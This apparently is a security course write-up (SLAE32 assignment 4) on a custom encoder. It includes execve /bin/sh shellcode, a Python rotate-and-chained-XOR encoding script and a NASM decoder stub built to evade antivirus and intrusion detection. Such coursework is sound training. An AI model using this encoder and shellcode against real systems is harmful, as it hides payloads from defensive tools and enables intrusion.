SLAE32 – Assigment #4, Custom encoder

The fourth assignment of the Securitytube Linux Assembly Expert 32-bit was to create a custom encoder.

The AntiVirus softwares and Intrusion Detection Systems use pattern matching technique to detect and recognize well-known shellcodes. One way to avoid detection is to transform the shellcode into another, unrecognizable format. This process is called encoding. The shellcode should be packed with a small code which transforms back the encoded shellcode into the original format. This small code is called the decoder stub.

There are two ways to encode a byte array: to scramble it and to transform it. We can scramble with ROL and ROR and we can transform with XOR, SUB and ADD instructions (NOT instruction is also usable for transformation, but NOT is equivalent with XOR with 0xFF). The modern encryption algorithms use the combination of two.

AV and IDS can also be confused with inserting junk bytes into the shellcode, however this technique enlarges the size of the shellcode.

Decoding can be hardened with a technique where we do not encode each byte individually, but we use the input/output of the previous encoding as an input of the next encoding. The following two diagrams show such encoding and decoding. I used this method to create an encoded shellcode.

This python script encodes the execve-stack shellcode. It rotates the byte left with 3 first, then xor with the previous byte. The initial value is 0xaa.

#!/usr/bin/python


def rol(byte, op):
	new_byte = 0
	new_byte = byte << op
	return (new_byte & 0xff) + (new_byte >> 8)


shellcode = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

# Initialized with 0xaa
previous_byte = 0xaa

for x in bytearray(shellcode) :

	y = rol(x, 3)		# rotate left with 3
	z = y^previous_byte	# xor with the previous byte

	previous_byte = x

	encoded += '\\x'
	encoded += '%02x' % z

	encoded2 += '0x'
	encoded2 += '%02x,' % z


print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))

This is the encoded shellcode with the decoder stub. I copied the encoded shellcode, generated by the previous python script. Then I used the JMP-CALL-POP technique to get the pointer to the address of the encoded shellcode. Finally I created a loop where the encoded shellcode is transformed back to its original form.

global _start

section .text

_start:
	jmp find_address

decoder:
	pop esi

	xor ecx, ecx
	mul ecx
	mov cl, 25          ; length of the shellcode
	mov dl, 0xaa        ; initial value of XOR operation

loop1:
	xor dl, byte [esi]  ; xor with the current byte
	ror dl, 3           ; rotate right with 3
	mov byte [esi], dl  ; save back the transformed byte
	inc esi
	loop loop1

	jmp short shellcode ; jump to the original shellcode


find_address:
	call decoder
	shellcode: db 0x23,0x37,0x42,0x13,0x1b,0x17,0xb4,0x30,0x2b,0x11,0x56,0x3c,0x29,0x25,0x96,0x61,0x1c,0x9e,0x78,0x1f,0x86,0x64,0xe8,0x65,0xc9

The encoded shellcode, before the encoding.